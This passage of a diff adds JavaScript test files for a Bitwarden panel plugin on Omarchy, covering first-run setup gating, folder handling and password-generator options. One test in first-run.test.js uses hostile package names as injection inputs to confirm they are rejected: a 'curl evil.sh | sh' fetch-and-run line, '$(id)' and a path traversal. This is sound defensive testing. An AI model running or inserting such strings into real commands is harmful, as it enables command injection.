|
||||
&& !/typeCode !== 5 && \(root\.detailPassword/.test(panelSrc),
|
||||
"a card answers 'not an SSH key' too, and would draw an empty password row")
|
||||
|
||||
check("card fields are drawn only for cards, identity fields only for identities",
|
||||
(panelSrc.match(/visible: root\.detailIsCard/g) || []).length >= 5
|
||||
&& (panelSrc.match(/visible: root\.detailIsIdentity/g) || []).length >= 8,
|
||||
"each block must gate on its own type")
|
||||
|
||||
check("an address is one copyable block, not seven rows",
|
||||
/detailIdentityAddress/.test(panelSrc)
|
||||
&& /tooltipText: "Copy address"/.test(panelSrc),
|
||||
"an address is copied as an address")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for the first run: the state a machine is in the moment
|
||||
// `omarchy plugin add ... --enable` finishes and before `bw` exists.
|
||||
//
|
||||
// The plugin is installed and enabled before the CLI it drives necessarily
|
||||
// does -- `omarchy plugin add` installs the plugin and nothing else -- so the
|
||||
// panel has to open on the setup screen, install what is missing from inside
|
||||
// itself, and pick the vault up on its own once the install lands. None of
|
||||
// that is reachable on a developer machine where everything is already there,
|
||||
// which is exactly why it is pinned here.
|
||||
//
|
||||
// node tests/first-run.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseDependencies = parseDependencies
|
||||
exports.missingRequired = missingRequired
|
||||
exports.setupGateActive = setupGateActive
|
||||
exports.dependencyProbeOutcome = dependencyProbeOutcome
|
||||
exports.missingPackages = missingPackages
|
||||
exports.installPackagesCommand = installPackagesCommand
|
||||
exports.fingerprintSetupCommand = fingerprintSetupCommand
|
||||
exports.applicableDependencies = applicableDependencies
|
||||
exports.dependencyCheckCommand = dependencyCheckCommand
|
||||
exports.DEPENDENCIES = DEPENDENCIES
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const bodyOf = name => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start < 0) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// A machine that has just installed the plugin and nothing else. The probe
|
||||
// still answers for tools that are no longer on the wizard's list -- Omarchy
|
||||
// ships those -- and parseDependencies must ignore what it was not asked
|
||||
// about rather than inventing rows for it.
|
||||
const FRESH = Model.parseDependencies(
|
||||
"bw=0\nbw_version=\njq=0\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
|
||||
// The same machine after one trip through the setup screen's install button.
|
||||
const INSTALLED = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=1\nsecrettool=1\nfprintd=1\nfingerprint_ready=0\nomarchy=1")
|
||||
// Required tools only. The optional ones stay absent, and must not gate.
|
||||
const MINIMAL = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nwlcopy=1\nhyprctl=0\nsecrettool=0\nfprintd=0\nfingerprint_ready=0\nomarchy=1")
|
||||
|
||||
// Omarchy's own base packages. The wizard must never ask for one of these: a
|
||||
// first-run screen whose rows are green on every machine that can run this
|
||||
// plugin buries the single row that is not.
|
||||
const OMARCHY_BASE = ["wl-clipboard", "libsecret", "hyprland", "glib2", "systemd", "openssl"]
|
||||
|
||||
// --- the gate ---------------------------------------------------------------
|
||||
// Nothing is decided before the probe has actually run: a panel that gated on
|
||||
// its own empty starting state would flash the setup screen on every launch.
|
||||
check("gate: nothing is decided before the probe reports",
|
||||
Model.setupGateActive(FRESH, false, false) === false,
|
||||
"an unchecked dependency set closed the gate")
|
||||
|
||||
check("gate: a missing required tool closes the gate",
|
||||
Model.setupGateActive(FRESH, true, false) === true,
|
||||
"bw absent did not close the gate")
|
||||
|
||||
check("gate: the user can always step past it",
|
||||
Model.setupGateActive(FRESH, true, true) === false,
|
||||
"dismissing setup left the gate closed")
|
||||
|
||||
check("gate: missing optional tools do not close it",
|
||||
Model.setupGateActive(MINIMAL, true, false) === false,
|
||||
`gated on optional tools: [${Model.missingRequired(MINIMAL).map(d => d.key)}]`)
|
||||
|
||||
check("gate: opens once everything is installed",
|
||||
Model.setupGateActive(INSTALLED, true, false) === false,
|
||||
"a fully installed machine was still gated")
|
||||
|
||||
// --- the first-run sequence -------------------------------------------------
|
||||
// Walked in order, because the bug this guards against is an ordering one: the
|
||||
// panel probing `bw` before it knows whether `bw` exists lands the user on a
|
||||
// login form that cannot succeed.
|
||||
let probeStarted = false
|
||||
let wasGated = false
|
||||
const step = (deps, dismissed) => {
|
||||
if (Model.missingRequired(deps).length > 0) wasGated = true
|
||||
const outcome = Model.dependencyProbeOutcome(deps, dismissed, probeStarted, wasGated)
|
||||
if (outcome === "probe") {
|
||||
probeStarted = true
|
||||
wasGated = false
|
||||
}
|
||||
return outcome
|
||||
}
|
||||
|
||||
check("first run: opens on setup rather than probing the vault",
|
||||
step(FRESH, false) === "setup",
|
||||
"a fresh machine did not land on setup")
|
||||
check("first run: refreshStatus waits for the dependency answer before invoking bw",
|
||||
/if\s*\(!depsChecked\)\s*\{[\s\S]{0,100}checkDependencies\(\)[\s\S]{0,40}return/.test(bodyOf("refreshStatus")),
|
||||
bodyOf("refreshStatus"))
|
||||
|
||||
check("first run: still setup while the install runs",
|
||||
step(FRESH, false) === "setup",
|
||||
"a re-probe with bw still absent moved off setup")
|
||||
|
||||
check("first run: the install landing sends it to the vault unprompted",
|
||||
step(INSTALLED, false) === "probe",
|
||||
"bw appearing did not trigger the status probe")
|
||||
|
||||
check("first run: settled, so a routine re-probe asks bw nothing",
|
||||
step(INSTALLED, false) === "idle",
|
||||
"a routine dependency check re-probed the vault")
|
||||
|
||||
// --- an already-set-up machine ----------------------------------------------
|
||||
probeStarted = false
|
||||
wasGated = false
|
||||
check("normal launch: the first probe goes straight to the vault",
|
||||
step(INSTALLED, false) === "probe",
|
||||
"a machine with everything installed did not probe on launch")
|
||||
|
||||
check("normal launch: later probes stay quiet",
|
||||
step(INSTALLED, false) === "idle",
|
||||
"a settled machine kept re-probing")
|
||||
|
||||
// --- carrying on without the CLI --------------------------------------------
|
||||
// "Continue anyway" is the panel's own escape hatch. Having taken it, the user
|
||||
// must not be dragged back to setup, and the panel must not spend a `bw`
|
||||
// round trip on every dependency check it happens to run.
|
||||
probeStarted = true
|
||||
wasGated = false
|
||||
check("dismissed: a missing tool no longer forces setup",
|
||||
step(FRESH, true) === "idle",
|
||||
"setup reappeared after being dismissed")
|
||||
|
||||
check("dismissed: still no repeated vault probes while the tool is missing",
|
||||
step(FRESH, true) === "idle",
|
||||
"a dismissed gate probed the vault on every dependency check")
|
||||
|
||||
check("dismissed: an install landing later is still picked up",
|
||||
step(INSTALLED, true) === "probe",
|
||||
"installing after dismissing setup never reached the vault")
|
||||
|
||||
// --- what the install button asks for ---------------------------------------
|
||||
const fresh = Model.missingPackages(FRESH)
|
||||
check("install: asks for the tools it can install, and only those",
|
||||
fresh.join(" ") === "bitwarden-cli jq",
|
||||
`got [${fresh}]`)
|
||||
|
||||
check("install: never asks for a package Omarchy already ships",
|
||||
Model.DEPENDENCIES.every(d => OMARCHY_BASE.indexOf(d.pkg) === -1),
|
||||
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg).filter(p => OMARCHY_BASE.indexOf(p) !== -1)}]`)
|
||||
|
||||
check("install: the one thing an Omarchy machine can genuinely lack is still required",
|
||||
Model.DEPENDENCIES.some(d => d.pkg === "bitwarden-cli" && d.required),
|
||||
`wizard lists [${Model.DEPENDENCIES.map(d => d.pkg)}]`)
|
||||
|
||||
check("install: asks for nothing when nothing is missing",
|
||||
Model.missingPackages(INSTALLED).length === 0,
|
||||
`got [${Model.missingPackages(INSTALLED)}]`)
|
||||
|
||||
check("install: a package shared by two tools is only asked for once",
|
||||
new Set(fresh).size === fresh.length,
|
||||
`got [${fresh}]`)
|
||||
|
||||
// Omarchy already owns "install these packages where the user can watch it":
|
||||
// a floating, centred, themed terminal with the logo, the pacman output and a
|
||||
// keypress to close. Rolling our own terminal invocation would have to pick a
|
||||
// terminal, invent the wait-for-keypress, and still look like nothing else on
|
||||
// the system.
|
||||
const cmd = Model.installPackagesCommand(fresh, "Bitwarden CLI")
|
||||
check("install: goes through Omarchy's floating-terminal installer",
|
||||
cmd.slice(0, 3).join(" ") === "omarchy install app",
|
||||
cmd.join(" "))
|
||||
|
||||
check("install: names what is being installed, and asks for exactly the packages",
|
||||
cmd[3] === "Bitwarden CLI" && cmd[4] === fresh.join(" "),
|
||||
cmd.join(" "))
|
||||
|
||||
check("install: no shell of our own to quote for",
|
||||
cmd.every(a => typeof a === "string") && cmd.indexOf("-c") === -1,
|
||||
cmd.join(" "))
|
||||
|
||||
// omarchy-install-app expands the package list unquoted -- that is how it
|
||||
// takes more than one package -- so the guard has to be on this side.
|
||||
check("install: refuses anything that is not a plain package name",
|
||||
Model.installPackagesCommand(["bitwarden-cli; curl evil.sh | sh"]) === null
|
||||
&& Model.installPackagesCommand(["$(id)"]) === null
|
||||
&& Model.installPackagesCommand(["../../etc/passwd"]) === null,
|
||||
"a crafted package name produced a command")
|
||||
|
||||
// --- fingerprint belongs to Omarchy -----------------------------------------
|
||||
// `omarchy setup security fingerprint` detects the reader, installs
|
||||
// libfprint/fprintd/usbutils, enrols a finger, verifies it, and only then
|
||||
// writes /etc/pam.d/omarchy-lock-fingerprint -- which is the file this
|
||||
// plugin's own readiness check looks for. A bare `pkg add fprintd` produces
|
||||
// none of that, so the row must never take that door.
|
||||
check("fingerprint: the row is a setup row, not a package row",
|
||||
Model.DEPENDENCIES.find(d => d.key === "fprintd").setup === true,
|
||||
"fprintd is still presented as an ordinary package install")
|
||||
|
||||
check("fingerprint: never reaches the package installer",
|
||||
Model.missingPackages(Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")).length === 0,
|
||||
"fprintd was handed to omarchy install app")
|
||||
|
||||
const fp = Model.fingerprintSetupCommand()
|
||||
check("fingerprint: runs Omarchy's own setup in the floating terminal",
|
||||
fp.join(" ") === "omarchy launch floating terminal with presentation omarchy setup security fingerprint",
|
||||
fp.join(" "))
|
||||
|
||||
// --- hardware the machine does not have -------------------------------------
|
||||
const NO_READER = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=0\nomarchy=1")
|
||||
const WITH_READER = Model.parseDependencies(
|
||||
"bw=1\nbw_version=2025.1.2\njq=1\nfprintd=0\nfingerprint_ready=0\nfingerprint_hw=1\nomarchy=1")
|
||||
|
||||
check("reader: a desktop with no reader is not shown a fingerprint row",
|
||||
Model.applicableDependencies(NO_READER).every(d => d.key !== "fprintd"),
|
||||
`rows: [${Model.applicableDependencies(NO_READER).map(d => d.key)}]`)
|
||||
|
||||
check("reader: a laptop with one is",
|
||||
Model.applicableDependencies(WITH_READER).some(d => d.key === "fprintd"),
|
||||
`rows: [${Model.applicableDependencies(WITH_READER).map(d => d.key)}]`)
|
||||
|
||||
check("reader: the row is still in items either way, for the settings screen",
|
||||
NO_READER.items.some(d => d.key === "fprintd"),
|
||||
"dropping the row from items would break settingBlocked()")
|
||||
|
||||
check("reader: no reader never gates the panel",
|
||||
Model.setupGateActive(NO_READER, true, false) === false,
|
||||
"a machine with no fingerprint reader was held on setup")
|
||||
|
||||
// Detection comes from Omarchy's own sysfs scan, which answers before fprintd
|
||||
// or usbutils are installed -- which is precisely when the wizard has to
|
||||
// decide whether to draw the row.
|
||||
check("reader: detection uses omarchy-hw-fingerprint, in the same one probe",
|
||||
Model.dependencyCheckCommand()[2].includes("omarchy-hw-fingerprint")
|
||||
&& Model.dependencyCheckCommand().length === 3,
|
||||
Model.dependencyCheckCommand()[2])
|
||||
|
||||
check("install: nothing to install produces no command at all",
|
||||
Model.installPackagesCommand(Model.missingPackages(INSTALLED)) === null,
|
||||
"an empty package list still produced a command")
|
||||
|
||||
// The setup screen's copy is the first thing a new user reads, and it is the
|
||||
// only place the plugin explains that it does not bundle these tools. A
|
||||
// requirement described as fatal reads as "you installed this too early".
|
||||
const bw = Model.DEPENDENCIES.find(d => d.key === "bw")
|
||||
check("copy: the required tools are presented as installable, not as a wall",
|
||||
bw.required === true && !/nothing works/i.test(bw.purpose),
|
||||
bw.purpose)
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.log("\n" + failures.map(f => ` FAIL ${f}`).join("\n"))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for folder parsing, filtering and payload assignment.
|
||||
//
|
||||
// node tests/folders.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseFolders = parseFolders
|
||||
exports.folderName = folderName
|
||||
exports.filterItems = filterItems
|
||||
exports.parseItems = parseItems
|
||||
exports.parseItemDetail = parseItemDetail
|
||||
exports.buildCreatePayload = buildCreatePayload
|
||||
exports.buildEditPayload = buildEditPayload
|
||||
exports.listFoldersCommand = listFoldersCommand
|
||||
exports.createFolderCommand = createFolderCommand
|
||||
exports.folderPayload = folderPayload
|
||||
exports.folderEnvVar = folderEnvVar
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// --- parsing ---
|
||||
const folders = Model.parseFolders(JSON.stringify([
|
||||
{ id: "b", name: "Work", object: "folder" },
|
||||
{ id: null, name: "No Folder", object: "folder" },
|
||||
{ id: "a", name: "apps", object: "folder" },
|
||||
]))
|
||||
check("folders are sorted case-insensitively",
|
||||
folders.map(f => f.name).join(",") === "apps,Work", folders.map(f => f.name).join(","))
|
||||
check("bw's null-id 'No Folder' entry is dropped (the panel has its own control)",
|
||||
folders.length === 2 && folders.every(f => f.id), JSON.stringify(folders))
|
||||
check("malformed folder JSON yields an empty list",
|
||||
Model.parseFolders("{{").length === 0 && Model.parseFolders("").length === 0, "expected []")
|
||||
check("folderName resolves a known id", Model.folderName(folders, "b") === "Work", Model.folderName(folders, "b"))
|
||||
check("folderName is empty for an unknown or absent id",
|
||||
Model.folderName(folders, "zzz") === "" && Model.folderName(folders, null) === "", "expected empty")
|
||||
|
||||
// --- items carry folderId ---
|
||||
const items = Model.parseItems(JSON.stringify([
|
||||
{ id: "1", name: "In folder", type: 1, folderId: "a", login: {} },
|
||||
{ id: "2", name: "Unfiled", type: 1, folderId: null, login: {} },
|
||||
{ id: "3", name: "Other folder", type: 1, folderId: "b", login: {} },
|
||||
]))
|
||||
check("parseItems exposes folderId",
|
||||
items.find(i => i.id === "1").folderId === "a" && items.find(i => i.id === "2").folderId === null,
|
||||
JSON.stringify(items.map(i => [i.id, i.folderId])))
|
||||
check("parseItemDetail exposes folderId",
|
||||
Model.parseItemDetail(JSON.stringify({ id: "1", name: "x", type: 1, folderId: "a", login: {} })).folderId === "a",
|
||||
"expected 'a'")
|
||||
|
||||
// --- filtering ---
|
||||
const ids = f => Model.filterItems(items, "", "all", "all", f).map(i => i.id).sort().join(",")
|
||||
check('folder "all" returns everything', ids("all") === "1,2,3", ids("all"))
|
||||
check('folder "none" returns only unfiled items', ids("none") === "2", ids("none"))
|
||||
check("a folder id returns only that folder", ids("a") === "1", ids("a"))
|
||||
// Existing callers pass four arguments; folders must not break them.
|
||||
check("omitting the folder argument behaves as 'all'",
|
||||
Model.filterItems(items, "", "all", "all").map(i => i.id).sort().join(",") === "1,2,3",
|
||||
"regression: existing four-arg calls changed behaviour")
|
||||
check("folder filter composes with search",
|
||||
Model.filterItems(items, "unfiled", "all", "all", "none").map(i => i.id).join(",") === "2",
|
||||
"expected only item 2")
|
||||
|
||||
// --- payloads ---
|
||||
check("create assigns the chosen folder",
|
||||
Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, "a").folderId === "a", "expected 'a'")
|
||||
for (const v of ["", null, "all", "none", undefined]) {
|
||||
check(`create maps ${JSON.stringify(v)} to no folder`,
|
||||
Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId === null,
|
||||
JSON.stringify(Model.buildCreatePayload(1, "n", "u", "p", "", "", "", false, null, v).folderId))
|
||||
}
|
||||
// Editing must be able to clear an assignment, not only set one.
|
||||
const existing = { rawObject: { id: "1", name: "x", type: 1, folderId: "a", login: {} } }
|
||||
check("edit can move an item to another folder",
|
||||
Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "b").folderId === "b", "expected 'b'")
|
||||
check("edit can clear an existing folder assignment",
|
||||
Model.buildEditPayload(existing, "x", "", "", "", "", "", false, null, "").folderId === null, "expected null")
|
||||
|
||||
// --- commands ---
|
||||
// The session goes in BW_SESSION, never argv -- /proc/<pid>/cmdline is
|
||||
// world-readable and the token unlocks the vault.
|
||||
check("list folders carries no session on the command line and caps output",
|
||||
Model.listFoldersCommand().join(" ").includes("bw list folders")
|
||||
&& Model.listFoldersCommand().join(" ").includes("head -c")
|
||||
&& !Model.listFoldersCommand().join(" ").includes("--session"),
|
||||
Model.listFoldersCommand().join(" "))
|
||||
const folderName = "it's \"private\""
|
||||
check("folder names are serialized for the private environment payload",
|
||||
JSON.parse(Model.folderPayload(folderName)).name === folderName,
|
||||
Model.folderPayload(folderName))
|
||||
check("folder names never enter the command line",
|
||||
Model.createFolderCommand().join(" ").includes('"$' + Model.folderEnvVar() + '"')
|
||||
&& !Model.createFolderCommand().join(" ").includes(folderName),
|
||||
Model.createFolderCommand().join(" "))
|
||||
check("the folder writer receives its payload through the private environment binding",
|
||||
/function folderEnv\(\)[\s\S]{0,180}Model\.folderEnvVar\(\)[\s\S]{0,180}Model\.folderPayload\(newFolderName\)/.test(panelSrc)
|
||||
&& /id:\s*createFolderProc[\s\S]{0,100}environment:\s*root\.folderEnv\(\)/.test(panelSrc),
|
||||
"createFolderProc is not bound to folderEnv()")
|
||||
|
||||
// --- the collapsed filter buttons ---
|
||||
// Each button names its own keyboard shortcut in its tooltip, and the key that
|
||||
// actually opens the drawer lives in runShortcut(). Two places, so they can
|
||||
// disagree -- and a tooltip promising a key that does nothing is worse than no
|
||||
// tooltip. Pin them to each other.
|
||||
const filterButtons = [...panelSrc.matchAll(
|
||||
/VaultFilterButton\s*\{[\s\S]*?group:\s*"([a-z]+)"[\s\S]*?shortcut:\s*"([a-z])"/g)]
|
||||
.map(m => ({ group: m[1], shortcut: m[2] }))
|
||||
check("all three vault filter buttons are declared",
|
||||
filterButtons.length === 3, JSON.stringify(filterButtons))
|
||||
for (const { group, shortcut } of filterButtons) {
|
||||
const dispatch = new RegExp(`case "${shortcut}":\\s*toggleFilterGroup\\("${group}"\\)`)
|
||||
check(`the "${shortcut}" in the ${group} filter tooltip is the key that opens it`,
|
||||
dispatch.test(panelSrc), `no runShortcut case pairing "${shortcut}" with "${group}"`)
|
||||
}
|
||||
// The label is the vault value alone now, so the group name survives only in
|
||||
// the tooltip -- which is the one place still telling you what you are looking at.
|
||||
check("each filter button still names its group somewhere the user can reach",
|
||||
/tooltipText: Model\.plainLabel\(name \+ " filter \(" \+ shortcut \+ "\): " \+ value\)/.test(panelSrc),
|
||||
"the filter tooltip no longer carries the group name and value")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,252 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for the generator's option handling. Generation itself is `bw generate`;
|
||||
// what is worth testing is that we never hand it a combination it rejects.
|
||||
//
|
||||
// node tests/generator.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const bodyOf = (name) => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.generateCommand = generateCommand
|
||||
exports.generateServeUrl = generateServeUrl
|
||||
exports.generateServeRequestCommand = generateServeRequestCommand
|
||||
exports.parseServeGenerated = parseServeGenerated
|
||||
exports.generateServeCommand = generateServeCommand
|
||||
exports.normalizeGeneratorOptions = normalizeGeneratorOptions
|
||||
exports.generatorDefaults = generatorDefaults
|
||||
exports.generatorStrength = generatorStrength
|
||||
exports.generatorPortIsForeign = generatorPortIsForeign
|
||||
exports.generatorServeExitAction = generatorServeExitAction
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
const args = o => Model.generateCommand(o).join(" ")
|
||||
|
||||
// `bw generate` errors if every character set is off; fall back rather than fail.
|
||||
const none = Model.normalizeGeneratorOptions({ uppercase: false, lowercase: false, numbers: false, special: false })
|
||||
check("all character sets off falls back to lowercase",
|
||||
none.lowercase === true, JSON.stringify(none))
|
||||
|
||||
// Requiring more special/numeric characters than the length allows is impossible.
|
||||
const tight = Model.normalizeGeneratorOptions({ length: 5, numbers: true, minNumber: 9, special: true, minSpecial: 9 })
|
||||
check("length grows to fit the required character minimums",
|
||||
tight.length >= tight.minNumber + tight.minSpecial, JSON.stringify(tight))
|
||||
|
||||
// Minimums for a disabled set would be rejected by bw.
|
||||
const noNums = Model.normalizeGeneratorOptions({ numbers: false, minNumber: 5, special: false, minSpecial: 5 })
|
||||
check("minimums are zeroed for disabled character sets",
|
||||
noNums.minNumber === 0 && noNums.minSpecial === 0, JSON.stringify(noNums))
|
||||
check("disabled sets emit no minimum flags",
|
||||
!args({ numbers: false, special: false }).includes("--minNumber")
|
||||
&& !args({ numbers: false, special: false }).includes("--minSpecial"),
|
||||
args({ numbers: false, special: false }))
|
||||
|
||||
// Clamping to the documented CLI limits.
|
||||
for (const [k, v, lo, hi] of [["length", 1, 5, 128], ["length", 999, 5, 128],
|
||||
["words", 1, 3, 20], ["words", 99, 3, 20],
|
||||
["minNumber", -3, 0, 9], ["minSpecial", 99, 0, 9]]) {
|
||||
const got = Model.normalizeGeneratorOptions({ [k]: v, numbers: true, special: true })[k]
|
||||
check(`${k}=${v} clamps into [${lo}, ${hi}]`, got >= lo && got <= hi, `got ${got}`)
|
||||
}
|
||||
|
||||
// Passphrase mode must not leak password-only flags, and vice versa.
|
||||
const pp = args({ type: "passphrase", words: 5, capitalize: true, includeNumber: true })
|
||||
check("passphrase passes --passphrase and word options",
|
||||
pp.includes("--passphrase") && pp.includes("--words 5") && pp.includes("--capitalize") && pp.includes("--includeNumber"), pp)
|
||||
check("passphrase omits password-only flags",
|
||||
!pp.includes("--length") && !pp.includes("--minNumber") && !pp.includes("--uppercase"), pp)
|
||||
const pw = args({ type: "password" })
|
||||
check("password omits passphrase-only flags",
|
||||
!pw.includes("--passphrase") && !pw.includes("--words") && !pw.includes("--capitalize"), pw)
|
||||
|
||||
check("an empty separator falls back rather than producing a bare flag",
|
||||
Model.normalizeGeneratorOptions({ separator: "" }).separator === "-",
|
||||
Model.normalizeGeneratorOptions({ separator: "" }).separator)
|
||||
|
||||
// Strength must move in the right direction, or the meter misleads.
|
||||
const s = o => Model.generatorStrength(o).bits
|
||||
check("longer passwords score higher", s({ length: 32 }) > s({ length: 8 }), `${s({length:32})} vs ${s({length:8})}`)
|
||||
check("more character sets score higher",
|
||||
s({ length: 16, special: true }) > s({ length: 16, special: false }),
|
||||
`${s({length:16,special:true})} vs ${s({length:16,special:false})}`)
|
||||
check("more words score higher", s({ type: "passphrase", words: 8 }) > s({ type: "passphrase", words: 3 }),
|
||||
`${s({type:"passphrase",words:8})} vs ${s({type:"passphrase",words:3})}`)
|
||||
check("strength fraction stays within 0..1",
|
||||
[{}, { length: 128, special: true }, { length: 5 }].every(o => {
|
||||
const f = Model.generatorStrength(o).fraction; return f >= 0 && f <= 1 }), "out of range")
|
||||
|
||||
check("defaults are a fresh object each call",
|
||||
Model.generatorDefaults() !== Model.generatorDefaults(), "same reference returned")
|
||||
|
||||
|
||||
// --- the same options over `bw serve` ---------------------------------------
|
||||
// `bw generate` spends ~2.9s on CLI bootstrap and service init before it
|
||||
// generates anything; the serve API answers the same request in ~2ms. These
|
||||
// URLs were verified against a live locked `bw serve`.
|
||||
|
||||
const url = (o) => Model.generateServeUrl(o)
|
||||
|
||||
check("the server is addressed on loopback only",
|
||||
url({}).startsWith("http://127.0.0.1:"), url({}))
|
||||
check("a password request carries the character sets and length",
|
||||
url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true })
|
||||
.includes("length=20") && url({ length: 20, special: true }).includes("special=true"),
|
||||
url({ length: 20, uppercase: true, lowercase: true, numbers: true, special: true }))
|
||||
check("a disabled set is omitted rather than sent false",
|
||||
!url({ special: false, numbers: false }).includes("special=")
|
||||
&& !url({ special: false, numbers: false }).includes("number="),
|
||||
url({ special: false, numbers: false }))
|
||||
check("minimums ride along only when their set is on",
|
||||
url({ numbers: true, minNumber: 3 }).includes("minNumber=3")
|
||||
&& !url({ numbers: false, minNumber: 3 }).includes("minNumber"),
|
||||
url({ numbers: true, minNumber: 3 }))
|
||||
check("a passphrase request switches shape entirely",
|
||||
url({ type: "passphrase", words: 5 }).includes("passphrase=true")
|
||||
&& url({ type: "passphrase", words: 5 }).includes("words=5")
|
||||
&& !url({ type: "passphrase", words: 5 }).includes("length="),
|
||||
url({ type: "passphrase", words: 5 }))
|
||||
check("a separator that means something in a URL is encoded",
|
||||
url({ type: "passphrase", separator: "&" }).includes("separator=%26"),
|
||||
url({ type: "passphrase", separator: "&" }))
|
||||
check("the serve options are clamped the same way the CLI ones are",
|
||||
url({ length: 9999 }).includes("length=128") && url({ length: 1 }).includes("length=5"),
|
||||
url({ length: 9999 }) + " / " + url({ length: 1 }))
|
||||
|
||||
// The server is started without a session on purpose: a loopback port has no
|
||||
// authentication, so it must never hold an unlocked vault.
|
||||
check("the serve command binds loopback and names no session",
|
||||
JSON.stringify(Model.generateServeCommand()) ===
|
||||
JSON.stringify(["bw", "serve", "--hostname", "127.0.0.1", "--port", "8087"]),
|
||||
JSON.stringify(Model.generateServeCommand()))
|
||||
|
||||
const serveReq = Model.generateServeRequestCommand({ length: 20, special: true })
|
||||
check("the serve request command targets the generated url with timeout and stream cap",
|
||||
serveReq[2].includes("curl -q -s -S") && serveReq[2].includes("http://127.0.0.1:8087/generate")
|
||||
&& serveReq[2].includes("--max-time 2") && serveReq[2].includes("head -c 65536"),
|
||||
serveReq[2])
|
||||
check("loopback generator requests ignore proxy variables and curl config",
|
||||
serveReq[2].includes("curl -q ") && serveReq[2].includes("--noproxy '*'"), serveReq[2])
|
||||
|
||||
check("a successful response yields the value",
|
||||
Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}') === "abc123",
|
||||
Model.parseServeGenerated('{"success":true,"data":{"object":"string","data":"abc123"}}'))
|
||||
check("a failed response yields nothing, so the caller falls back",
|
||||
Model.parseServeGenerated('{"success":false,"message":"locked"}') === "", "expected empty")
|
||||
check("garbage yields nothing rather than throwing",
|
||||
Model.parseServeGenerated("<html>not json</html>") === "", "expected empty")
|
||||
check("an empty body yields nothing", Model.parseServeGenerated("") === "", "expected empty")
|
||||
|
||||
|
||||
// --- the loopback server is not trusted just because it answers --------------
|
||||
//
|
||||
// `bw serve` has no authentication and a loopback port is reachable by every
|
||||
// account on the machine, so an HTTP 200 is not evidence that the process which
|
||||
// sent it is ours. The only answer that leaves the port free for our own server
|
||||
// is a refused connection.
|
||||
|
||||
check("a refused connection is the one answer that frees the port",
|
||||
Model.generatorPortIsForeign(0) === false, "status 0 was treated as occupied")
|
||||
for (const status of [200, 404, 500, 401, 302]) {
|
||||
check(`an HTTP ${status} means someone else is already bound`,
|
||||
Model.generatorPortIsForeign(status) === true, `status ${status} was trusted`)
|
||||
}
|
||||
check("a status arriving as a string is still not mistaken for silence",
|
||||
Model.generatorPortIsForeign("200") === true, "string status was trusted")
|
||||
|
||||
// --- what our own server exiting means ---------------------------------------
|
||||
|
||||
const stopped = Model.generatorServeExitAction({ stopping: true, wasReady: true, busy: false,
|
||||
